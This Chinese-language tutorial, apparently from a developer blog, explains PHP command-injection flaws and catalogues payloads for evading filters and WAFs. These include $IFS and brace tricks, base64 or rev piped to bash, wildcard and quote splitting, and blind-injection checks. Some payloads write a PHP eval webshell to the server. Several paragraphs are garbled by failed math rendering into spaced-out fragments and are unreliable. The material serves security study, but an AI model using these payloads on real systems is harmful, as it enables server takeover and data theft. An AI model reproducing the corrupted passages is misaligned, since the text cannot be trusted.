一、命令执行漏洞原理

在编写程序的时候,当碰到要执行系统命令来获取一些信息时,就要调用外部命令的函数,比如php中的exec()system()等,如果这些函数的参数是由用户所提供的,那么恶意用户就可能通过构造命令拼接来执行额外系统命令,比如这样的代码

<?php
    system("ping -c 1 ".$_GET['ip']);
?>

程序的本意是让用户传入一个ip地址去测试网络连通性,但是由于参数不可控,当我们传入的ip参数为"127.0.0.1;id“时,执行的命令就便成了”ping -c 1 127.0.0.1;id",执行完ping命令后又执行了id命令,";"在linux中用于将多条命令隔开

  • ?ip=127.0.0.1;id

像这样的代码就会存在命令执行漏洞,诸如此类的注入漏洞只要用户输入不可控就可能会存在注入漏洞,至于造成的危害就看执行的什么样的函数


二、php常用命令执行函数

php中内置了很多执行外部命令的函数,查阅php中文手册如下

除了用函数执行意外,php还支持命令执行符``,和shell中的命令替换一样

    <?php
        echo `命令`;
    ?>


三、常用命令拼接符号

Windows系统

  1. ||
    格式:命令1||命令2…命令n
    规则:或运算,如果命令1执行失败,执行命令2,如果命令1执行成功,则不执行命令2
    示例:

    命令1错误,命令2成功执行

    bZFIZ4.png]

    命令1成功,命令2不执行

    • whoami||echo 命令1成功,我未执行!
  2. |
    格式:命令1|命令2…命令n
    规则:当命令1执行成功时才执行命令2,如果命令1未执行成功则不会执行命令2
    示例:

    命令1执行成功,执行命令2

    • whoami|echo ok!
  3. &&
    格式:命令1&&命令2…命令n
    规则:命令1和命令2一起执行,如果命令1出错命令2则不执行
    示例:

    • whoami&&echo ok!
  4. &
    格式:命令1&命令2…命令n
    规则:命令1和命令2一起执行,互不影响
    示例:

    • whoami&echo ok!
    • whoamid&echo ok!

Linux系统

在Linux系统中,其中"||""|""&&""&"拼接符号功能和Windows一样,在shell命令中Linux还定义了一个";"用于表示语句的结尾,可以将多条shell命令通过";"隔开

  1. ;
    格式:命令1;命令2…命令n
    规则:隔开多条shell命令一起执行
    示例:
    通过;执行多条命令
  • echo "第一条命令";echo "第二条命令";echo "第三条命令"

shell命令替换

在linux系统中可以使用$()和反引号``来对命令进行替换,这两者的功能一致,只不过进行多条命令内联替换时$()显更为整洁,在命令注入漏洞中,通过命令替换符号进行巧妙的构造可以绕过一些黑名单
示例:

echo "`id`"

echo "$(uname -a)"

四、命令执行漏洞常用绕过方式(针对Linux内核的系统)

在真实的网络环境中,存在执行系统命令的网页一般都会对用户的输入进行严格的过滤,什么黑名单白名单一堆WAF🐕,下面总结了一些针对检测类型去绕过的方法

0x1 空格绕过

  • 间隔符"$IFS"

  1. 简介:
    KaTeX parse error: Undefined control sequence: \t at position 52: …别是空格`" "`、制表符`"\̲t̲"`、换行符`"\n"`,IFS默认以空格为分隔符,在shell脚本中可以手动设置IFS的值改变默认分隔符,这边通过实验来了解 I F S 变 量 e c h o 打 印 IFS变量 echo打印 IFSechoIFS的值通过管道符"|"配合xxd以16机制的方式输出 I F S 的 值 ( 因 为 IFS的值(因为 IFSIFS是一些空格、换行、制表不好显示,所以通过xxd以16进制显示)

    • echo -n "$IFS"|xxd

      xxd用2位表示16进制4位一组显示,如图0x20=空格,0x09="\t",0x0a="\n"

    默认的IFS分隔符也可以修改成其他符号

    #!/bin/bash
    IFS=';'
    toert="123;456;789"
    for i in $toert;do
        echo $i
    done
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oMx2yxm7-1646711971818)(https://s4.ax1x.com/2022/02/26/beEJtH.png)]
    因为更改了默认分隔符位";",所以for读取到";"处时就跳出循环执行echo然后进入下一论的迭代

  2. $IFS方法总结 (目标过滤空格的情况下)

    未过滤引号

    • 命令$IFS""参数

    可以创建自定义变量

    • a=参数;命令$IFS$a

    未过滤"0~9"、"@"、"*"

    • 命令$IFS$[上述的任意一个数字/字符]参数

    未过滤大括号"{}"

    • 命令${IFS}参数
  3. $IFS利用方式原理
    因为内部变量 I F S 默 认 值 为 空 格 , 又 因 为 变 量 的 优 先 级 要 比 命 令 来 的 高 , 所 以 理 想 状 态 应 该 是 命 令 + IFS默认值为空格,又因为变量的优先级要比命令来的高,所以理想状态应该是命令+ IFS+IFS+参数,可以做一个实验尝试一下

    • echo$IFS123(错误用法)

    这并不是我们想要的结果,这是因为shell将以$开头的的视为变量的标志,在没有特殊的分隔符情况下往后的都视为变量的名称,所以echo$IFS123返回空的内容,shell没有读取$IFS,而是读取的一个不存在的$IFS132变量,shell允许使用一个不存在的变量,shell将这种变量解析为空值即毫无意义,当然,shell也提供了一个${}操作符,可以确定变量名的范围,用法如下

    • echo${IFS}123

      成功输出123!,用 将 {}将 IFS套起来让shell解析时确定变量的具体名称,这样shell就不会把后面的123也当作变量名了,这类似于python的字符串格式化

    如果目标服务器过滤了大括号"{}",这时${IFS}就不管用了,再回过头看看第一次尝试的写法echo$IFS123,shell执行命令时看到$号,有没有什么办法让shell读取$后面的内容刚好到S处,经过测试后发现,当shell在搜寻变量名称遇到引号(")、美元符号( ) 等 符 号 时 就 会 以 这 些 符 号 标 志 结 束 , 也 就 是 说 当 我 们 配 合 ‘ )等符号时就会以这些符号标志结束,也就是说当我们配合` )IFS`打印一串以字符开头的内容时,输出就会正常

    • echo$IFS"123
    • echo$IFS'123

    这边加了转义,因为引号需要闭合,如果将左边的引号闭合会是什么情况

    • echo$IFS""123

      Linux允许用字引号拼接一个空内容,并且shell因为搜寻到引号字符所以正确解析了 I F S 变 量 , 最 后 正 常 输 出 123 内 容 , 其 实 e c h o IFS变量,最后正常输出123内容,其实echo IFS123echoIFS"123"也可以,因为在shell命令获取参数时,参数外面可以用引号括起来也可以不括起来

    如果目标过了引号和大括号怎么办,顺着刚刚的思路shell解析变量名称碰到"$"就会开始尝试读取下一个变量名,这样的话只要将参数放在一个变量中,然后通过命令+$IFS+变量的方式就可以正常使用$IFS变量,方式如下

    • a=123;echo$IFS$a

    除此之外,还有一种方法,普通shell变量的名称以字符、数字、下划线组成,变量在命名时不能以数字开头也不能以除了"_"以外的字符开头,因为在shell中内置了很多的系统级别的动态变量,这些变量多以数字、字符为名称,而且shell在读取这些变量时因为是内置的所以无需对变量名称范围进行检查,比如其中一个变量$$,这个变量的功能是打印当前程序的pid号,当这个变量后面跟着字符串或者数字时是不会被干扰的,比如

    • echo$IFS$$toert

    可以看到$$变量名并没有像之前那样变成$ t o e r t , 值 得 注 意 的 是 s h e l l 因 为 ‘ " toert,值得注意的是shell因为`" toertshell" " ‘ 变 量 正 确 解 析 了 ‘ "`变量正确解析了` "IFS变量,除此之外还有以数字命名系统变量,比如$1$1`变量是shell脚本中用于捕获参数的方法,比如

    1.sh

        #!/bin/bash
        echo $1
    
    • chmod +x 1.sh;./1.sh

      但是默认情况下$1没有值的,相当于"",可以做一个实验
      4.sh
        #!/bin/bash
        if ["" == $1]
        then
            echo "\$1 == \"\""
        fi
    
    • ./4.sh

      1 默 认 参 数 等 价 于 " " , 那 上 面 的 ‘ e c h o 1默认参数等价于"",那上面的`echo 1"",echoIFS""123不就可以变成echo$IFS$1123`了吗,输出结果如下
    • echo$IFS$1123

      这样也可以绕过空格过滤,像这样默认没有值的内置系统变量还有很多,shell提供了$0~9十个系统变量为脚本提供捕获参数的方法,这些值默认都是空值,相当于""
    变量名作用
    $0表示程序/脚本名称
    $1~9脚本捕获的9个参数
    $@将脚本接受到的参数以列表返回
    $*以字符串的方式返回脚本捕获的所有参数
  • 大括号"{}"

    在bash中"{}"可以当作一个代码块进行执行,命令之间";"隔开,参数用","隔开,但是要注意命令块中不允许有空格

    • {命令,参数;命令2,参数}

    因为{}中不允许出现空格,如果用了空格就要进行转义,但由于","就相当于空格,所以最命令为

    • {echo,\<?php?,eval\(\$_POST[\'id\']\)\;\>}>mm.php
  • 制表符"%09"、“%0a”

    默认制表符为4个空格,shell允许命令和参数之间存在制表符(多个空格),如

    • cat[空格][空格][空格][空格]flag.txt

    恰巧php中执行命令的函数也支持命令和参数之间用制表符\t,所以直接通过传入url编码的制表符来过滤空格

  • 文件重定向"<,<>"

    linux中一切接文件,文件的输入输出通过"<"">"">>"来操作,通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令,当shell在解析命令时如果遇到文件重定向符号,首先将执行文件重定向符号,比如cat<1.txt,shell在解析这条命令时因为命令中含有"<"输入重定向,所以shell先执行重定向操作,将cat命令输入重定向到1.txt文件中,即cat命令的输入来自于1.txt文件,最后cat命令在执行时直接输出了1.txt文件的内容

    • cat<1.txt
    • cat<>1.txt

0x2 黑名单绕过

有时候目标会对一些关键命令的名称进行过滤,这样的过滤称之为黑名单,可以通过一些拼接和通配符等方法绕过黑名单,当然这些方法对一些笨重的过滤函数来说可行,当遇到正则过滤时就显得有些无力了,下面总结了一些常用绕过黑名单的方法,测试这些方法可以写一个命令执行的网页,然后编写简单的过滤规则

  • 1.php
<?php
$cmd=$_GET['cmd'];
if(!strstr($cmd,"黑名单命令")){
    echo exec($cmd)."<br>you cmd:$cmd";
}else{
    exit("giaogiaogiao!");
}
?>
  • base64绕过

    将要执行的命令提前进行base64命令编码,然后将编码后的命令通过管道符解码并执行,具体命令如下

    • echo "被过滤的命令"|base64
    • echo base64编码后的命令|base64 -d|shell
    • echo$IFS$1Y2F0IGZsYWcudHh0Cg==|base64$IFS$1-d|bash

  • shell局部变量绕过

    在一个shell中定义变量通过名称=值来定义(定义时名称不要加$符号,等号两边不能加空格),查看变量值时可以通过echo $变量名称去查看变量内容,如果直接在命令行中输入变量名称,shell会先解析变量的内容然后将内容当成命令,所以通过将黑名单中过滤的命令名称拆解分成多个变量,然后通过输入变量名称的方式去达到绕过,比如cat flag.txt绕过如下

    • a=c;b=a;c=t;d=.txt;e=ag;f=fl;$a$b$c$IFS$f$e$d


  • 引号、内置变量绕过

    引号不仅可以配合$IFS绕过空格和也可以绕过一些简单的字符串查找函数,直接在命令名称之间拼接单引号或者双引号来达到绕过,命令如下

    • c""a""t$IFS''flag.txt

    之前说过shell内置了一些用于捕获外部参数的变量,如$*、$1~9,这些变量默认情况下等价于""、’’,所以构造这样的命令也可以达到绕过黑名单

    • c$1a$2t$IFS$*flag.txt

  • 反斜杠绕过"\"

    在shell中反斜杠除了可以转义特殊字符外还可以将命令分成多行,当命令过长时可以通过反斜杠去跨行输入命令,比如

    将这些反斜杠全部写在一行中就达到了绕过黑名单的效果

    • c\a\t flag.txt

  • 文件通配符绕过

    shell支持通配符去匹配文件,"?"代表一个字符,"*"代表多个字符,比如查看当前目录的flag.txt文件,根据描述符可以命令如下

    • cat ????.???

    当然命令也可以通过通配符执行,使用绝对路径的方式去匹配命令,如

    • /bin/c?t ??????t??
  • 字符串反序绕过

    字符串反序绕过黑名单其实和base64编码绕过类似,通过字符串反序将原有的命令打乱然后绕过一些简单的黑名单过滤函数,linux中有一个rev命令,可以将字符串进行反序,我们只要提前将命令进行反序然后二次反序通过管道符配合shell执行,命令如下

    • 提前将要执行的命令反序:echo "cat flag.txt"|rev
    • echo$IFS$1txt.galf$IFS$1tac|rev|bash

  • 字符串截取绕过

    字符串截取绕过原理就是通过截取系统中其他文件的名称或内容,最后拼接绕过黑名单,使用shell的substr命令,通过expr命令执行,通过substr去绕过黑名单条件很苛刻,而且执行的命令较多,一般用于写一句话木马,并且目标过滤了尖括号的情况下使用substr,用例如下

    比如黑名单过滤了flag,falg放在了当前的flag.php文件中,通过substr截取flag文件名称绕过黑名单

    • cat $(expr substr "$(ls)" 1 8)
  • 内联绕过(命令替换$()、``、xargs)

    内联绕过就是通过白名单命令来获取黑名单中截止的字符串,比如黑名单中过滤了"flag"关键字,如果flag在网页根目录下,这时就可以先用ls命令将当前目录中所有文件列出来,然后配合cat进行输出,命令如下

    • cat $(ls),反引号``和$()效果一样

      shell解析此命令时因为有变量替换符号,所以先执行ls命令再执行cat命令,最后ls命令就变成了cat命令的参数

    将命令的输出作为另外一个命令的参数,在linux中有专门进行标准输出格式转换的命令xargs,比如上述的命令可以转换为ls|xargs cat,通过管道符获取ls命令的标准输出再通过xargs命令对标准输出格式化为cat命令的参数,如下

    • ls|xargs cat
  • 长度绕过

    有时候目标会限制用户传入的参数长度,比如限制用户传入参数最大长度为5,这时就要通过一些重定向以及创建文件的方式进行绕过,因为不同的过滤规则使用方法不同,后面会根据题目进行简介,这里只是做一个引子

    • 用户最大输入字符长度为5
  • 其他查看文件命令绕过

    shell中内置了很多查看文件内容的命令,如果目标过了了cat命令可以通过其他查看文件命令的方式来绕过

    命令作用
    cat查看文件内容
    more、less以页方式查看文件内容
    head查看文件指定开头行的内容
    tail、tailf查看文件指定开头行的内容
    tac倒着查看文件内容,从最后文件最后一行开始查看
    file -ffile文件用于查看文件类型,-f参数如果文件内容中有其他文件的名称一起查看,如果没有就报这一行内容未找到,即通过报错的方式查看内容
    rev反序查看文件内容
    nl查看文件内容并附加行号
    awk NRawk流文件编辑器,以流的方式读取文件内容,NR是查看读取到的内容流
    sort查看文件内容并去除文件重复的行
    uniq查看文件内容去除内容中连续的重复行
    vim、vi文本内容编辑
    od2机制显示文本内容
    hexdump16机制显示文本内容
    xxd16机制显示文本内容并默认打印明文

0x3 命令无回显

命令无回显就是在注入恶意命令后web页面并没有该命令的回显,需要我们通过其他方式去验证命令是否成功执行,常见的方式有http隧道、dns隧道、重定向读取、延时查看、nc回显,在线上环境中,http、dsn、nc都需要外网的环境,这里只演示重定向读取和延时查看

环境:
php <?php shell_exec($_GET['cmd']); ?>

  • 重定向查看

    如果目标站点可以创建文件,我们可以通过重定向>>>去将命令的输出重定向到一个文件中,然后再访问这个文件

    • ?cmd=ls>1.txt

    然后访问这个1.txt即可得到命令的回显

  • 延时查看

    和sql延时注入一样,通过判断条件设置页面的回显时间来检查命令是否执行,linux中提供了sleep命令,通过sleep命令配合||命令拼接符去检查命令是否执行,也可以将sleep换成ping命令,将ping包数量设置大一点点,通过F12查看

    • echo "一句话木马" > h.php||sleep 3【成功示例】
    • echdo "一句话木马" > h.php||sleep 3【失败示例】

      ||命令拼接符前面有介绍,如果命令1执行成功则不执行命令2,反之执行命令2,也就是说如果写入一句话到文件失败,那么执行sleep函数页面延时回显,这样就可以判断命令是否成功执行
Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐